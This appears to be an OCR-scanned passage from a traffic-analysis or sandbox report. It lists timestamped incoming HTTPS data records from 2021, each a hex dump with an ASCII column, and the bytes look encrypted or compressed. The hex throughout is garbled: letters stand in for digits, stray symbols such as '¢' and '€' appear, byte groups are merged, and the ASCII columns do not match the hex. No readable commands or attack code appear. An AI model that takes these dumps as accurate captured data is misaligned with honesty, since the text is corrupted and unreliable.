58 c6 35 05 81 3e 48 db 77 5f a7 53 dd 46 5d 44 57 d6 c8 b2 3a b9 Oc 4b fe 9e d9 Oa 65 53 ae 07 a9 26 25 e9 02 58 86 39
Oc d8 a6 ab de ca a3 90 33 e9 fb 50 a4 a9 f8 8f ¢5 34 5¢ 56 5b 7a 6b d4 9f d7 ee 8c 75 b3 9b e0 2f a3 f7 a2 82 1c ed 93 e4
537 €0 3d 62 24 73 bb 94 6¢ 68 f3 d8 1e el e3
Data Ascii: % T9DEKo+.?2|"$KAWsO|@0q]j8b%70h|062AdBi(caQR$VIADs5kXzN&?[&qg+c-X5>Hw_SF]DW:KeS&
%X93P4\V[zku/S=b$slh

2021-09-28 11:02:14 UTC 107 IN Data Raw: ce 17 9b 3b 9f b5 c9 85 51 ¢2 da 46 95 82 99 c0 2a a7 7c f6 77 bf 18 e3 c6 9c 5a 46 13 34 60 7f 96 34 db c8 1b
66 b4 4c cf fO ba ec 73 cc 91 4f d6 7d 81 41 d2 20 bd 07 2a e4 6d 91 8a 59 41 a3 6b 27 88 29 9e c1 0f c5 67 c4 e6 Ob 95
1f 19 d5 c0 a7 1f fb 5b fa e4 86 50 bc ee e8 €9 41 3a al 3b 7e e5 88 95 e4 38 2f 6¢ 8e bd 13 6d 31 9c 51 ba 9b 80 38 1a
2456 b1 49 6d c8 79 83 f6 23 91 7f 92 6e bd 00 c4 34 10 67 3a 49 63 6f 24 9c 2b a0 2b 7e 69 8f 2f a0 e6 dc 39 d7 81 7a
d8 e4 7d e5 41 5b 7a ac 31 c0 b0 4e 34 e9 9a 59 1b cd 1e 75 Oe ea e0 97 45 77 e5 1a 36 ff a9 71 61 52 3d d3 e9 36 6e 92
ee 01 27 64 71 7d a0 16 9d 99 93 fc 02 8b 6d 64 39 9c c6 Oc 24 54 f0 56 a6 06 9e 17 eb 8b f2 c8 Oc e8 el 9c 7a ee be fa
37 ca 2878 27 d4 42 8c c3 6d 59 fd 10 c6 a3 96 87 dO
Data Ascii: ;QF*|WZF4 4fLsO}A *mYAK')g[PA:;~8/Im1Q8$VImy#n4g:lco$++~i/9z}A[zIN4AYUEWEqaR=6n"do}md9$TV
z7(x'BmY

2021-09-28 11:02:14 UTC 108 IN Data Raw: bd 46 68 ef 88 6a 22 f1 83 e7 08 35 c1 6e Oc e8 af 1e el 8c 80 5d 6a 66 91 33 76 ca a3 de d3 a7 39 2a 08 92
¢5 49 ca 7f b3 bf ad dc 7a 44 41 54 c4 d7 ae ed 8a 00 4f fe 10 fO a2 67 b9 a4 7a 9a 0f d6 €9 1d 44 9f 33 77 ee af b6 24 e3
a0 97 34 f4 €5 12 b8 c1 d7 8e d4 38 6¢ 98 5a 56 68 f1 13 1b d3 bf 11 ae a0 1c 2b b2 f9 95 b5 e2 ec b5 c3 61 ff fe el 67 c8
02 09 9c 7f 64 e7 ce 62 0d e2 06 58 53 07 27 79 f7 77 24 Oc 44 cf df f6 7c 28 a8 07 87 58 68 85 94 92 1f cf a9 45 d3 cO fc
6f9a 72 d0 27 c0 35 e4 31 c2 2f cd 3¢ 12 4c 40 1d 2e fb de e2 d4 2b 0d e8 53 ¢4 Oc 9d 2b d5 6e 83 fd d8 f5 64 3c db ac
5e cb 71 f7 a6 da ae c2 6d 71 e5 f3 6b 97 81 56 50 65 f5 f4 31 66 9f ¢7 9c 8 ff 9c 3e 35 00 c5 b0 24 45 c8 f9 64 52 aa 15
O c6 d9 88 d2 21 46 7a 40 b9 5f f5 Of 4f 21
Data Ascii: Fhj"5n]jf3v9*1zDATOgzD3w$481ZVh+agdbXS'yw$D|(XhEor'51/<L@.+S+nd< qmqkVPelf>5$EdR!Fz@_O!

2021-09-28 11:02:14 UTC 109 IN Data Raw: 33 6f 96 60 al 15 cb 31 00 69 49 67 4f 7e 27 97 2c ad 48 1a 7c 13 34 cd d9 f5 9e d3 9b 63 fa f5 7c f7 c9 89 64
91 26 fe f4 64 25 ef b2 07 ca df 14 55 4e el f4 97 36 22 cf 2e 3d f4 ba 16 77 52 2c cc e4 c1 70 de f6 38 75 eb c6 60 70 8d
be f6 81 fc 11 86 71 72 21 88 d4 63 93 52 ea a2 b6 2d 9b 1c 1e 14 f5 7c 94 3 19 49 7a ee be 99 98 d8 2e 6d 33 98 90 00
ed 69 46 f2 e8 dd ec Oa ba ab 94 a6 b2 68 60 5 a6 99 be 82 Oe f2 d1 33 a3 27 9c da 50 6e 8 95 €9 54 db 87 99 ff b7 08
75 87 55 1d 7e 45 8¢ 72 c5 69 3e 12 8a 76 3f 04 73 4c 21 dc d8 2f ba cc a7 7b 6e bc ad 1a f4 51 4c 8e 4d 9a f1 cc 06 4b
42 1b Oc ca ea 39 f3 e2 f4 ef f3 21 fe 59 4d 75 9b 13 ae 3c 59 11 63 36 e4 a3 47 e7 83 92 fe 3d 45 ff 90 b6 55 df 4b 17 al
€343 22 1b 2e 15 f2 9d dc db b5 4d 4e e7 0f el
Data Ascii: 30°1ilgO~',H|4¢|d&d%UN6".=wR,p8u"pqr!cR-|I1z.m3iFh 3'PnTuU~Eri>v?sL!/{nQLMKB9!Y Mu<Yc6G=EUKC".MN

2021-09-28 11:02:14 UTC 111 IN Data Raw: 3d 06 58 75 01 33 7b 8¢ 52 25 14 40 8a ae f2 70 2e 80 23 87 58 62 ea 27 05 8a c5 62 le f6 €8 ca 74 aa 70 dd
9a e8 c0 el de c4 2d a7 33 18 49 44 33 ce d7 1c e6 fc 05 25 f9 59 ab b5 92 55 4c b0 8f df e3 fc 70 le ff 91 5e cd 6¢ a4 al
f2 96 c3 7e 7d 2a ff 7a 93 8a 54 3f 34 57 e5 3d ae 89 a8 93 5a ff 98 1c €9 15 c5 b6 06 6a cf 8d 05 7a 9b 14 9f 0d e0 44 d8
324153 0b8f599ac9 67 d5 ad 95 c1 92 ad 97 e3 5f ed 4b bc e0 el c5 a2 8e 9a b4 27 2d 97 24 49 53 3f {7 ae 66 1f el
00 27 b5 ee c¢5 dd 79 1c 06 1a 5e 42 31 55 52 9¢ 83 71 d7 2a 6d d6 cd 5f ac 3c 69 79 09 a0 61 72 28 da d0 06 09 b3 a6
93 7c¢ 56 ed 88 de 54 81 87 38 3e f9 bl 20 72 76 74 cO c1 2e bb 4e 9¢ 80 13 7d e6 17 91 e5 97 b3 e3 94 47 c8 ed 5d 95 87
8e 01 2b c1 7 ee 6a bf 1f f5 38 9d 76 44 04 9c c3 78
Data Ascii: =Xu3{R%@p.#Xb'btp-3ID3%YULp"I~}*zT?4W=ZjzD2ASYg_K'-$IS?f'y"B1URqg*m_<iyar(|VT8> rvt.N}G]+j8vDx

2021-09-28 11:02:14 UTC 112 IN Data Raw: 80 ac b6 b3 51 59 f6 a0 fc 5¢ 37 Oc 8 d3 29 83 47 86 Oc 4b 77 ea 65 64 4d cc e2 6e 91 2f Oe 5d 9a 47 16 6a 7c
do fe 72 b9 01 e6 9f a0 b4 40 Ob 4c 20 c5 77 2f b7 cd 60 65 72 b3 8f 13 e4 60 84 8e 4f a4 e9 c1 18 71 5f 84 b2 6¢ 45 2f 29
fb f7 f1 71 ae cb 66 4d 75 8b 09 b3 08 95 0Of 73 1e Oa b3 4b fb a3 31 6 e5 99 d5 3e a7 5¢ ce 56 0a 63 51 5¢ 37 33 c1 0Of 7f
90 d4 ca bc 86 97 e5 Oe e6 1f 63 85 93 cf 20 07 71 fb 61 b4 bb bb 77 b4 fa d4 13 Oc b4 3e 80 bf 94 78 54 76 20 d8 90 ba
8f ba e8 1c bf 5d 7e 23 9f 63 72 a3 41 da ed 1e 18 cc e4 95 19 4c 88 86 c3 bd 3f 2d 80 73 fb 6e 2b 29 32 46 e7 58 bd 9f
59 6e f3 53 eb 00 44 7d 3b fc 69 83 49 94 db dc ee fb dO 1b d9 ea ad 6¢ b7 92 6b da b1 50 4d 9b 8b ea 14 50 20 56 Oc e2
b3 f1 f9 88 d1 6a 6b 66 d4 3d 65 db ae cf c3 8f
Data Ascii: QY\7)GKwedMn/]Gjlr@L w/"er Oq_lE/)gfMusK1>\VcQ\73c qaw>XxTv ]~#crAL?-sn+)2FXYnSD};illkPMP Vjkf=e
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 113 IN Data Raw: 44 71 be 5e 25 9c 90 ef 74 f6 51 b8 e5 c2 d4 96 70 9d 8e al 29 9e 33 9e d6 38 e7 99 f7 Oc ea Oa 1le 25 f1 e7 29
50 ac 0f 22 d5 b0 df ad 22 78 90 7a dd 16 al 17 c8 b0 aa 65 5f 7a 87 16 44 66 ef 07 b6 39 16 a7 b4 {7 2b 47 e6 9d 2e a2
8a 75 3c 1c be 7a 21 72 7a 76 c2 86 f1 bc 4e 90 95 16 56 ed 17 8a 30 88 8b 37 95 6b cO c9 28 94 85 8e 21 14 98 75 ee
6d b4 00 d2 c6 9c 5a 4d 3c 30 61 78 8e d5 f2 f7 12 4d a7 6¢ 33 €9 3f {7 5e c7 €6 65 ae 7f af 45 d4 3f ab 16 3e fe 54 21 95
60 b5 8a a7 33 99 27 b5 76 18 13 fc d6 3a 0b 95 1d 2c ef c0 9c 1b ea 96 e4 5 78 b6 90 fd fa f6 45 €8 08 94 a5 2 5e 18 de
3c 3893 83 8e 02 66 29 98 40 a0 80 ab 38 1a 24 53 e2 49 6b c8 7f 1d d5 3c a9 6d 93 73 bf Of db 03 ea 7f e8 6e 46 69 fO
835340 59 Oc 6d 88 4a 21 cf dd 3f bc 4a 6b dc ee
Data Ascii: Dg"%tQp)38%)P""'xze_zDf9+G.u<z!rzvNVO7k(lumZM<0axMI3?"eE?>T! 3'v:, xE"<8f) @8$SIk<msnFiS@YmJ!?
Jk

2021-09-28 11:02:14 UTC 114 IN Data Raw: fd 1f 08 ea 82 c6 a4 ba 41 8a 56 bd aa b7 bc 65 f8 d8 27 29 96 26 99 9b 9a ab ce 6f 5f 3d 79 bb 85 96 d8 2f b6
85 a8 21 93 53 l1a ff 43 ab ad 19 77 02 f5 9c 05 4e 8e bc d6 bd 38 e6 9e 8d 02 69 03 38 58 50 €0 51 3b a7 54 6¢ f4 53 f5
00 44 7d Oc e2 70 9a 8e 88 09 db 89 1e d8 95 68 fO 60 65 9f 80 7d ca a6 5b 4d 23 89 ea 14 17 cd 56 Oc e2 ca 0d el 8a a0
7b 6¢ 70 d6 40 a3 c8 a3 d4 bc 71 3b 2a 02 b4 Oe 88 ca 7f 40 af aa c6 59 18 43 2f 9c d6 ae e8 82 3b 5c ed 9e da 82 76 58
b5 70 1a 34 21 eb 35 55 90 31 Oa d8 aa 3a Ob cb 8f 96 5b 2a ca 1e b0 9c el 85 c3 ea 57 a2 4b 5¢ 73 dc 9f d7 c6 66 19 82
91 ed 2f b4 f9 d2 43 e2 ec b5 ¢3 74 ff fe el 25 62 71 bb 94 59 68 fa ca 62 3c e1 06 54 30 d6 2d 7b 86 76 Oe 53 51 e0 37
c1 26 2c fb 61 86 58 66 f9 2a 86 Oc c9 5¢ 24 e7 e5 da
Data Ascii: AVe')&o_=y/!SCwWN8i8XPQ;TISD}ph e}[M#V{lp@q;*@YC/;\wXp4!5U1:[*"WK\sf/Ct%bqYhb<T0-{vSQ7&,aXf*\$

2021-09-28 11:02:14 UTC 116 IN Data Raw: 65 9d cf da f5 1c 56 48 66 00 f8 c7 €0 4c 42 95 65 ac 63 ba 53 d2 31 b2 1f cb ff 69 3b 88 22 Oc 8a 8b 27 8a 54
fO 7e Of c1 b7 b3 da 19 90 1b 22 dO cb 69 1a d7 93 f8 f3 5¢c a0 6a 63 d2 ff 52 3f 95 9a 6¢ e0 88 84 fO 2b c6 93 a3 92 08 66
27 98 40 ae 80 95 38 1a 24 5e 99 63 76 c2 6a 0b dd 32 94 67 66 72 82 01 d2 28 Oe 6d c1 48 5e 7b 38 7a 3d 90 4a Oe 69
f4 63 dc ce d9 3a 05 e6 2f dd e4 68 fe 50 b6 7e 80 38 ed 78 b2 35 c¢3 b1 1a 09 c8 14 44 50 d6 eb 69 37 04 e5 31 39 cc cO
9c 9a ad 25 d4 ¢8 77 91 41 03 21 56 65 71 77 b5 30 99 f6 28 fe 02 81 98 7b 30 9e d4 1f 38 68 63 ab a7 2a 8a 04 9d bc e5
36 09 c3 b9 67 71 fa 97 14 85 c8 2e 65 b1 c0 46 8c d3 7a 4a e2 e2 d1 9e 80 9d 31 bc b6 ba 40 59 56 b7 9f 82 21 1b e4 {3
90 8b 9f 94 ¢5 4d 6e ff bd a3 58 c4 9a 64 91 03 02 64
Data Ascii: eVHfLBecS1i;" T~"i\jcR?I+f' @8%$"cvj2gfr(mH"{8z=Jic:/hP~8x5DPi719%wA!Veqw0({08hc*6gq.eFzJ1
@YV!MnXdd

2021-09-28 11:02:14 UTC 117 IN Data Raw: b6 3e 37 f6 93 1a 6f db 79 58 b8 ba 51 6d 44 41 55 cd d3 bf e8 87 27 c6 c1 94 f1 a3 c5 42 a0 6e a3 8¢ 25 ed 17
6a 49 33 Oc c3 32 a8 33 cc 8f 86 33 e5 36 1f 96 9e el 89 c2 3a 53 25 5d 56 62 d6 1d 68 e2 a7 9d 95 88 e8 2e 10 f7 a9 b9
49 ec bf el 78 23 fc eb 40 33 6d a8 99 7f 7f eb d4 3 e8 cf Oc 5¢ 77 9a 2d 7b 86 5a 3c 1f 47 e7 3a f5 6a d0 81 0f 84 4f 71
ed 27 81 18 da 7d fa f7 c4 c9 44 9f 40 04 de 17 3f e6 45 d6 2d b6 00 39 06 46 1d cd ff de ee fe 27 d2 ea 59 al c2 d4 2a df
b4 a5 d5 ef f5 7f 06 f7 94 03 cb 7b 29 5c¢ f2 96 d3 6f 00 70 8 6¢ bf 83 3e 11 33 f5 fe 39 ¢1 d6 bd bb fd fa f7 3e cO 04 cf b4
77 2ac9f9 6a 6d f4 3c f1 cc ea 46 a9 6a 47 78 3f 86 31 df Oa 67 df a5 c6 9b 93 ad 99 9f 38 e4 5a b2 {7 df c8 29 39 f3 8e
ab 2a 9d 2e 96 54 Oe cb bl c5 1f eb 01
Data Ascii: >70yXQmDAU'BNn%jl32336:S%]Vbh.Ix#@3m\w-{Z<G:jOq'}D@?E-9F'Y*{)\op|>39>W*im<FjGx?198Z)9*.T

2021-09-28 11:02:14 UTC 118 IN Data Raw: f7 6b fO 5d b3 6a 87 3f f7 76 64 2c ee b2 07 Ob c9 Ob 75 5c¢ df fe bf 2e 29 e7 10 39 e5 b7 6b 4d 4f 2e d7 f1 c2 bl
af d9 01 4b 65 71 7d b5 Ob 81 fc a9 ¢5 02 81 6a a5 30 89 e8 Oc 35 51 fa a8 a7 2a 8a 15 90 10 40 ¢8 19 f5 95 76 7b 5 8f
90 87 48 28 72 3c c6 47 8c c3 6b 45 db ff c5 8f 80 ad b9 96 a7 bc 4b 4c d4 2b b8 96 35 0d fe a8 dd 89 9f 94 c9 5f 6¢ 7 ba
b6 42 a8 8f 98 90 29 17 55 e2 45 14 60 52 8b 22 7e ae 2c e4 9a b1 b7 40 24 4c 20 ¢5 09 21 ad 57 9d 76 78 a3 88 Ob e3
4b da 96 51 93 ee 5d 16 5e 5f 9c a3 fd fc 10 eb e9 e5 e8 Oe 9e 70 66 4b 66 9e 11 a6 01 07 19 Oc 3c el b2 4d fb 75 31 db
15 78 ¢6 31 bc 46 d9 4e 17 9d f3 43 27 11 f6 Oe 79 b0 dd c7 b4 5e 43 f6 1c f7 07 4b 53 8e c6 ae b0 43 f1 69 bc aa de c2
62 f8 c5 38 19 a4 2c al ba 8¢ 9c ¢7 69 30 f2 78 bb
Data Ascii: k]j?vd,u\.)9kMO.Keg}jo5Q*@V{H(r<GKEKL+5_IB)UE R"~,@$L 'WvxKQ]* pfKf<Mulx1FNC'y*CKSCib8,i0x

2021-09-28 11:02:14 UTC 119 IN Data Raw: df 47 39 78 dd 2a fc €8 24 32 c4 2b a0 96 14 4c 44 34 ce eb ca cc 5f 0f 0d e2 71 ba bf 9f 21 cc bf 86 c1 c7 36
67 36 f5 83 d3 cc 7b 29 a7 el b5 d3 4e 6d 2d 75 53 bb 87 50 9d 23 d6 e0 2f ae b5 1f bb f9 f5 8¢ 3e 02 07 c5 b0 1b ec cf f9
6e 7b 88 37 el ee f6 53 5e 1e 46 78 3a 3c 4f d7 1f 73 c1 8f 1e d0 92 a7 89 d8 9f e6 5a be e2 44 cc a7 8e 9d b6 be 3e bf 87
48 47 21 cb 97 ¢5 1f eb 19 01 27 fa ed 14 52 80 00 0d d9 49 20 52 3c 48 a0 60 fe 11 bc 84 e4 4e ab 48 f0 68 2a b5 59 6a
11 7e a5 3d 03 a7 8f 3f 28 56 eb 95 8f 5b 8b 59 2c 08 f3 97 02 64 6a eb fa €9 21 bf ec 8b a8 2f 51 2 3f 38 3b 97 bf dd bc
84 ca f1 5b 82 08 89 3e 2b 8a 6d cf 6d 9e 09 e2 b4 a2 76 44 05 9d 71 59 9a de ce cc ba 4d b6 6d 38 da 02 f5 72 ca 82 e8
ab 7f a9 57 ¢1 00 a6 25 23 e6 c9 15 8a 59 4a
Data Ascii: G9x*$2+LD4_q!6g6{)Nm-uSP#/>n{7S"Fx:<0sZD>HG!'RI R<H NHh*Yj~=2(V[Y,dj!/Q?8;[>+mmvDqYMm8rw
%#YJ

2021-09-28 11:02:14 UTC 121 IN Data Raw: 73 a7 46 16 21 18 87 fc 72 bf 29 c8 88 a0 b2 2f 56 4a 20 cf ef 38 bd da a2 76 78 a2 9f 02 f5 50 44 9f 46 8c 9d
€7 18 5a 66 94 bb e2 5e 3f f3 e8 eb e2 7d 96 72 66 4d 75 9a 00 a2 04 6¢ 16 63 36 59 b0 4b f1 b6 29 fe 3d 40 c6 31 b6 4f
df 5a 1c ae fb 47 27 8e 28 Oe 7f cc dc db a5 2d fd f6 00 fd 19 53 Oe 81 c6 a8 c3 c7 f0 69 b6 a8 9b f1 61 €9 d9 10 3d a5 37
9b 9b 19 ae ce 63 5f 75 78 bb 85 df 66 Oc b7 8f bb 34 bf 64 38 a6 2e 12 ef 18 7d 72 4b 95 13 5¢ 8a 91 ca a4 5e 70 97 1c
05 78 44 a7 5¢ 50 ec 37 3e 8d 54 66 dd 22 22 02 42 5f 0d f3 78 87 37 57 01 ca 8b le d5 74 18 c2 ba 67 9a 50 a6 ec bl 59
57 ca 89 ea 1f 13 e5 47 08 9d 9e c0 el 8b c5 Oa 6a 66 da f3 a8 c4 86 f6 e4 a7 39 20 05 ba Oe 48 ca 75 9e be ab b3 b9 44
41 5e f4 d7 ae ec 90 2c 4a fe 96 f1 a4 67 31 cc 7a
Data Ascii: sF!r)/VJ 8vxPDFZfA?}rfMulc6YK)=@10ZG'(-Sia=7c_uxf4d8.}rK\*"pxD\P7>Tf"'B_x7WtgPYWGjf9 HUDA",Jglz

2021-09-28 11:02:14 UTC 122 IN Data Raw: 1d Of 3f f9 da 6 af 81 2a 11 27 6c 22 52 3b 48 93 6e ff 14 bd 08 ca 59 b4 40 ac 78 25 aa 5¢ 6b 28 c9 3f 2e Oc ac
ad ef 3¢ 56 fc 95 1d 4f 75 58 01 05 c0 8f 31 78 13 8¢ ¢7 €9 2b d1 c9 9b 8a 31 5d 89 9f 9a 3b 9d da 40 95 47 c3 fd 42 81 96
99 3e 3a 9c 61 fc 82 be 33 fc 00 98 88 bb fb 20 73 6b 99 ca cb f3 0f b3 b7 4b 2f e5 d2 el 72 dd 82 7a 87 81 a8 7a d0 Ob
b2 3d ba 05 ba d5 8¢ 73 4b 90 bb 27 88 14 b4 7f Of c1 6¢ b9 d0 79 2f 1b 33 df d9 e9 88 fb 9d f1 e8 f8 24 bc ee f3 ec 56 40
0a 83 7f ef 85 97 e6 2a 2e 81 9a a9 1a 77 22 98 40 bd 8e 89 5¢ 08 Oe 49 97 61 47 cd 79 08 f5 07 91 7e 92 60 ab 15 c1 0d
25 7e ¢4 42 76 9d 27 84 3c ad 5e 24 7d 8d 25 db €3 d8 01 06 9a 69 dc f5 69 92 d4 a4 7b 86 3a e0 b0 5e 11 ¢7 85 0d la c7
07 5¢ 7d f1 e0 97 3c 5 5f 1b 3c f4 al 6a 4d
Data Ascii: ?*I"R;HnY @x%\k(?.<VOuX1x+1];@GB>:a3 skK/rzz=sK'ly/3$V@*.w"'@\laGy~%~Bv'<"$}%ii{:"\}<_<jM

2021-09-28 11:02:14 UTC 123 IN Data Raw: 36 88 b0 €0 Oc a3 91 bc 18 37 4b 29 a8 55 f8 52 1b 77 00 ff 18 14 5d 86 96 db a8 20 f3 80 le ad 7e 2f 38 4b dc
d9 58 b7 8d 6 7d f1 24 23 8¢ f3 fb 15 f3 78 8¢ fa 8a 05 d9 84 1e d4 Of cb db 37 42 b7 98 79 d9 a6 4c 24 e7 e 76 0f 39 fe
4090 f9 a3 d8 f7 16 bb 5b 42 ¢5 d0 2f 7c db a5 ¢8 43 8b 18 3b 0d 84 ac 60 db 7f 40 b4 7d ce 6a 44 5a 7c ca d7 ae e6 b9
04 4b fe 9e 85 b0 67 53 bf 84 80 27 25 99 0f 42 95 2a 07 el 39 b6 20 c1 88 f8 22 ff c8 14 b0 64 €0 aa fc Ob 44 a8 50 5b 76
dd 39 58 f4 be 1b 74 88 ee 05 b2 ff bd dO fe ec bf eb 50 ff fe eb 4a af 71 98 9f 7f 6e cf cd 0d €9 f3 06 5e 5f 1a 2f 7b 8d 4b
15 05 40 cc 2a f2 7c 29 81 23 96 2b 44 eb 27 9a 13 cd 63 2c de ec cb 69 8d f5 da 20 e8 c1 3 35 d5 29 a0 18 bl 5d 40 21
ce d7 16 e5 fc 05 05 fc 71 82 bb 9f 2d c8
Data Ascii: 67K)URwW] ~/8KX}$#x7ByL$vO@[B/|C; @}jDZ|KgS'%B*9 "dDP[vIXtPJIgn"_/{K@*|)#+D'c,i 5)|@!q-

2021-09-28 11:02:14 UTC 125 IN Data Raw: d9 8a 8b 27 a2 2f b6 7f 1c f5 6f b9 e9 0a 95 1b 3b d5 d3 86 0Od fO b6 €0 e4 81 a0 42 ef d5 fd 4a 35 99 84 69 1b
89 b9 f7 2b 33 92 88 89 ee 74 Oe 9a 7a a9 b4 7f c4 60 9b 59 91 4d 43 ea 7b 0d a0 b0 90 7e 9c 59 ae 04 c4 36 24 7c c4 60
4f 7e 26 8c 3c bc 49 1a 60 a4 3e dd c9 ca c7 d2 b7 6b c4 ef 6¢ e6 4f 5b 7a ac 2b ff 65 4c 33 {7 4c Oc 36 cf 3f 57 7e 2a e2
ec a6 29 e7 1e 16 d6 b2 61 18 c2 2d d7 f3 e2 1d bc d4 3e 7c 65 7b 75 a5 7d 7a f4 81 f7 00 85 1d 8b 32 8f c8 Oe 30 2d 1b
aa a7 20 a0 15 90 b0 c3 cc 08 46 95 76 7a e4 be 95 96 de 24 4a bd c7 46 8c d2 61 5e 0d ef eb 8b 84 8e b2 98 a7 b2 5b
ad f5 8a bd 91 2f 22 fe dc 23 a5 97 99 fa 59 7d f2 3d 81 31 d8 a5 b9 93 2f Oe 77 01 7e 16 60 56 e8 fO 73 bf 23 e0 b9 a3 b2
29 5b 30 20 cf df 14 al d6 b6 7e 6f 5¢ 84 2e f7 49
Data Ascii: '/0;BJ5i+3tz" YMC{~Y6%$| O~&<I">klO[z+eL3L6?W~*)a->|e{u}z20- Fvz$JFar[/"#Y}=1/w~"Vs#)[0 ~o\.l
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 126 IN Data Raw: 5b ab d5 24 ed 1d 5d 84 19 21 cb ae b0 Oa a1 f1 Oe 35 fe cc 01 98 20 d5 a2 da 1a 5b 8a 7a 55 60 d7 11 7a dc
93 13 aa 8e c2 41 cc 66 bc 91 e6 f3 9¢c 71 75 d2 f1 cd 55 8c 51 bc 9c 7f 6e f3 d1 25 c4 el 06 58 75 6a 51 e2 8d 50 21 13
64 7d Oe df 72 08 9f 07 a7 7c 60 ea 27 8a 37 €8 75 04 f0 c2 al 11 03 79 dd 24 f7 e5 7a 14 €9 23 90 04 36 6¢ 6¢ 37 da ff c7
ccdl 0d 0d ee 73 cl cl1 06 2a df b4 90 f3 75 d0 49 38 d5 8b 78 eb 50 2b a6 2 8b ea 40 79 3b ff 46 d1 f9 c8 3e 32 f1 eb 1c
20 b8 91 b5 df e0 bf 36 f3 06 c5 b6 14 49 e5 fb 6e 7c bl 7f 8e 55 el 44 d6 3e 6e e2 1e b3 50 d3 14 4f f5 93 bf d0 92 b4 b5
dd 59 e5 5¢c 92 9e b7 52 a6 8e 98 bd 83 b0 b2 09 46 61 34 ca a6 f2 1d el 0a 18 06 c3 c¢7 d7 57 aa 6¢ 64 cd 4f 20 56 22 71
19 54 f0 09 8c 17 f1 6e 93 4b 52 79 1e 89 60 7c
Data Ascii: [$]!5 [zU zAfquUQN%XujQP!d}r| ' 7uy$z#6lI7s*ul8xP+@y;F>2 6In|lUD>nPOY\RFa4WIdO V'qTnKRy'|

2021-09-28 11:02:14 UTC 127 IN Data Raw: 64 52 28 c8 a6 52 4a 93 f3 0f 63 34 51 09 a5 00 95 e9 8c d5 2f 83 60 7d 1a e5 bc 95 34 50 ee b7 f5 b0 af 38 9e
85 ec 9a 28 64 96 76 7a f4 97 b8 85 c8 2e 58 56 h9 df 8d d2 6d 59 a0 74 e2 a2 88 a3 b4 c7 87 35 43 53 f4 ba bb bb 37 Oc
4 f1 52 f5 06 9f da 5e 62 a6 27 97 78 d5 ab 85 c4 0f 9d 76 8d 46 0d 48 79 85 fc 74 95 43 b6 04 al b2 2b 6¢ 19 ba ea f8 30
9b c5e3 56 e2 al 85 02 ee 79 6b 9d 46 8a ca ab 66 c3 48 95 bf fd a4 a2 d6 c5 eb c4 62 c0 52 f9 4e 75 9a 1le 8a 29 0d 10
65 1c 8d cc d2 f0 ab 24 el 6a d5 e3 1c b9 73 c0 0d 3d 12 c8 43 27 04 25 26 52 98 dc dd 9e 30 3f 6f 01 f7 17 64 Ob 18 e3
83 bf 65 ee 31 9c 1le b0 af 62 f6 c4 10 34 a7 37 97 99 e2 d0 57 68 30 f4 66 e2 15 95 cd 02 91 9a f1 10 5b 48 29 a2 5e de
c7 3575 06 e0 bf 7d 23 1f 96 c8 a8 2e ad Oc 39 22
Data Ascii: dR(RJIc4Q/ }4P8(dvz. XVmYt5CS7R"b'xvFHytC+0VykFfHbRNU)e$js=C'%&R0?0de 1b47WhOf[H) 5u}#.9"

2021-09-28 11:02:14 UTC 128 IN Data Raw: 5f b0 8f d5 75 d0 49 24 d5 b4 de cb 7b 29 86 d7 90 c2 6d 64 21 d1 41 b9 87 57 15 b4 8b 6d 3a ba 99 9c 3a f9 ff
98 8¢ e4 29 d7 90 2c e0 c8 f9 6e 5a a4 13 f0 cc ff 48 fa Oc 44 78 3d b4 d8 8b 92 66 d5 a3 9d 52 92 ad 9d 6a 7e c8 48 e
d4 4b cb a7 8e bc e9 ac 2a 97 3b 56 6f 06 e1 86 ¢3 35 63 74 96 2f ee c1 f7 d2 80 06 1a ce 6b 0d 43 1b 7b 00 71 dd 07 8a
61 dd 4e ab 55 7a 54 0b al 4b 54 bf a3 3c 3c 09 b7 87 78 2b 56 ed 18 27 71 99 7f 0d 9f d1 86 20 52 13 61 c5 €9 3e a6 66
b7 88 3b 43 cc 91 e5 a2 96 b5 cd b4 c2 c9 f1 5d 0f a0 a3 2c 0d ab fb ee 7c bf 3f 72 3e 9d 76 5b Oe 17 4d 7a 8e cc f0 62 67
d4 b7 67 28 d2 47 6 72 cc Of 40 81 6d 8f 76 54 20 b7 05 15 6f 43 2a 8a 46 78 a3 a6 21 88 29 9c fd 71 5c 6¢ b9 c5 2a 12
1b 33 d5 49 b2 36 ea bb db 63 86 b7 bc ce 3d 9 52
Data Ascii: _ul${)md!AWm::),nZHDx=fRj~HK*;Vo5ct/kC{qaNUzTKT<<x+V'q Ra>f;C],|?r>v[Mzbgg(Gr@mvT oC*Fx!
)g\I*316c=R

2021-09-28 11:02:14 UTC 130 IN Data Raw: c8 47 9f 42 ac 47 c1 18 5a d3 b0 96 f0 d4 18 54 e8 e5 e2 5d a2 7a 66 4d 6a 93 28 8f 06 Of 16 49 b0 9d 2b 4a f1
af 00 56 3d 4f c6 ab 93 78 cd 7c 3d 1d cb 43 27 3b 15 06 7f 9a c3 cb 9c 73 43 f6 06 dd 91 05 ca 83 c6 aa 90 ea f1 69 bc
3096 82 73 cf ff 91 19 a5 37 bl fe 84 ae ce 72 18 dd 7b bb 89 9a 62 73 2e 84 a8 34 b4 el 29 a2 41 4a ca 35 66 20 c6 3f
13 5d 86 b7 9a a4 31 {7 8¢ 34 22 6d 2b 29 77 d2 98 c1 b6 8c 50 4c 5e 3c 21 02 de 52 07 e2 5e ad f3 9b 01 ca al 59 d9 1b
df dc 92 40 b5 98 7e e0 22 23 bb
Data Ascii: GBGZT]zfMj(I+JV=0x|=C";sCi0s7r{bs.4)AJ5f ?]14"m+)WPL"<IRY @~"#

2021-09-28 11:02:14 UTC 130 IN Data Raw: fO 89 ee 3e 93 €9 56 Oc 72 80 ed f0O ac 8a f1 6a 66 dO Of 28 c2 a3 de ca 8f 14 28 08 94 1c ce b4 e6 41 be a9 fc
C7 44 41 54 44 12 83 fe b7 10 e7 fe 94 f1 82 06 5b a4 7a 94 28 0d c0 1f 42 93 1b 8e b7 37 b7 20 cf af 39 34 fe c8 84 9f 97
el a9 f4 92 44 a8 5a 76 12 df 11 60 ec 96 3c a8 88 ee 05 34 81 24 90 e2 e8 9f 44 50 ff fe 71 6f 82 63 9d be dO 6e ec cc 2d
9b eb 06 5e 40 09 07 56 8e 50 23 26 c6 99 b2 f3 7c 2a a0 93 87 58 62 70 02 bd 0d €3 57 b4 6 €8 cb 4f e1 70 dd 20 7 c9
